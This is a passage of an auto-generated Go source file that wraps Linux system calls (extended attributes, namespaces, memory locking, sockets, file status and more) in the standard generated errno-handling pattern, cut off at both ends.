unsafe.Pointer(&dest[0]) } else { _p1 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest))) sz = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Llistxattr(path string, dest []byte) (sz int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 unsafe.Pointer if len(dest) > 0 { _p1 = unsafe.Pointer(&dest[0]) } else { _p1 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest))) sz = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lremovexattr(path string, attr string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(attr) if err != nil { return } _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lsetxattr(path string, attr string, data []byte, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(attr) if err != nil { return } var _p2 unsafe.Pointer if len(data) > 0 { _p2 = unsafe.Pointer(&data[0]) } else { _p2 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func MemfdCreate(name string, flags int) (fd int, err error) { var _p0 *byte _p0, err = BytePtrFromString(name) if err != nil { return } r0, _, e1 := Syscall(SYS_MEMFD_CREATE, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkdirat(dirfd int, path string, mode uint32) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Nanosleep(time *Timespec, leftover *Timespec) (err error) { _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func PerfEventOpen(attr *PerfEventAttr, pid int, cpu int, groupFd int, flags int) (fd int, err error) { r0, _, e1 := Syscall6(SYS_PERF_EVENT_OPEN, uintptr(unsafe.Pointer(attr)), uintptr(pid), uintptr(cpu), uintptr(groupFd), uintptr(flags), 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func PivotRoot(newroot string, putold string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(newroot) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(putold) if err != nil { return } _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) { _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) { _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := Syscall6(SYS_PSELECT6, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func read(fd int, p []byte) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Removexattr(path string, attr string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(attr) if err != nil { return } _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Renameat2(olddirfd int, oldpath string, newdirfd int, newpath string, flags uint) (err error) { var _p0 *byte _p0, err = BytePtrFromString(oldpath) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(newpath) if err != nil { return } _, _, e1 := Syscall6(SYS_RENAMEAT2, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) { var _p0 *byte _p0, err = BytePtrFromString(keyType) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(description) if err != nil { return } var _p2 *byte _p2, err = BytePtrFromString(callback) if err != nil { return } r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0) id = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setdomainname(p []byte) (err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Sethostname(p []byte) (err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setpgid(pid int, pgid int) (err error) { _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setsid() (pid int, err error) { r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0) pid = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Settimeofday(tv *Timeval) (err error) { _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setns(fd int, nstype int) (err error) { _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setpriority(which int, who int, prio int) (err error) { _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setxattr(path string, attr string, data []byte, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(attr) if err != nil { return } var _p2 unsafe.Pointer if len(data) > 0 { _p2 = unsafe.Pointer(&data[0]) } else { _p2 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func signalfd(fd int, sigmask *Sigset_t, maskSize uintptr, flags int) (newfd int, err error) { r0, _, e1 := Syscall6(SYS_SIGNALFD4, uintptr(fd), uintptr(unsafe.Pointer(sigmask)), uintptr(maskSize), uintptr(flags), 0, 0) newfd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Statx(dirfd int, path string, flags int, mask int, stat *Statx_t) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall6(SYS_STATX, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mask), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Sync() { SyscallNoError(SYS_SYNC, 0, 0, 0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Syncfs(fd int) (err error) { _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Sysinfo(info *Sysinfo_t) (err error) { _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) { r0, r1, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0) n = int64(int64(r1)<<32 | int64(r0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) { _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Times(tms *Tms) (ticks uintptr, err error) { r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0) ticks = uintptr(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Umask(mask int) (oldmask int) { r0, _ := RawSyscallNoError(SYS_UMASK, uintptr(mask), 0, 0) oldmask = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Uname(buf *Utsname) (err error) { _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unmount(target string, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(target) if err != nil { return } _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unshare(flags int) (err error) { _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func write(fd int, p []byte) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func exitThread(code int) (err error) { _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func readlen(fd int, p *byte, np int) (n int, err error) { r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func writelen(fd int, p *byte, np int) (n int, err error) { r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func munmap(addr uintptr, length uintptr) (err error) { _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Madvise(b []byte, advice int) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mprotect(b []byte, prot int) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mlock(b []byte) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mlockall(flags int) (err error) { _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Msync(b []byte, flags int) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Munlock(b []byte) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Munlockall() (err error) { _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func faccessat(dirfd int, path string, mode uint32) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func nameToHandleAt(dirFD int, pathname string, fh *fileHandle, mountID *_C_int, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(pathname) if err != nil { return } _, _, e1 := Syscall6(SYS_NAME_TO_HANDLE_AT, uintptr(dirFD), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(fh)), uintptr(unsafe.Pointer(mountID)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func openByHandleAt(mountFD int, fh *fileHandle, flags int) (fd int, err error) { r0, _, e1 := Syscall(SYS_OPEN_BY_HANDLE_AT, uintptr(mountFD), uintptr(unsafe.Pointer(fh)), uintptr(flags)) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func pipe(p *[2]_C_int) (err error) { _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func pipe2(p *[2]_C_int, flags int) (err error) { _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) { r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func accept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error) { r0, _, e1 := Syscall6(SYS_ACCEPT4, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)), uintptr(flags), 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) { _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) { _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getgroups(n int, list *_Gid_t) (nn int, err error) { r0, _, e1 := RawSyscall(SYS_GETGROUPS32, uintptr(n), uintptr(unsafe.Pointer(list)), 0) nn = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func setgroups(n int, list *_Gid_t) (err error) { _, _, e1 := RawSyscall(SYS_SETGROUPS32, uintptr(n), uintptr(unsafe.Pointer(list)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) { _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) { _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func socket(domain int, typ int, proto int) (fd int, err error) { r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto)) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) { _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) { _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) { var _p0 unsafe.Pointer if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func socketpair(domain int, typ int, flags int, fd *[2]int32) (err error) { _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(flags), uintptr(unsafe.Pointer(fd)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) { r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) { r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup2(oldfd int, newfd int) (err error) { _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func EpollCreate(size int) (fd int, err error) { r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) { var _p0 unsafe.Pointer if len(events) > 0 { _p0 = unsafe.Pointer(&events[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchown(fd int, uid int, gid int) (err error) { _, _, e1 := Syscall(SYS_FCHOWN32, uintptr(fd), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstat(fd int, stat *Stat_t) (err error) { _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getegid() (egid int) { r0, _ := RawSyscallNoError(SYS_GETEGID32, 0, 0, 0) egid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Geteuid() (euid int) { r0, _ := RawSyscallNoError(SYS_GETEUID32, 0, 0, 0) euid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getgid() (gid int) { r0, _ := RawSyscallNoError(SYS_GETGID32, 0, 0, 0) gid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getuid() (uid int) { r0, _ := RawSyscallNoError(SYS_GETUID32, 0, 0, 0) uid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func InotifyInit() (fd int, err error) { r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT, 0, 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lchown(path string, uid int, gid int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_LCHOWN32, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Listen(s int, n int) (err error) { _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(n), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lstat(path string, stat *Stat_t) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pause() (err error) { _, _, e1 := Syscall(SYS_PAUSE, 0, 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(oldpath) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(newpath) if err != nil { return } _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 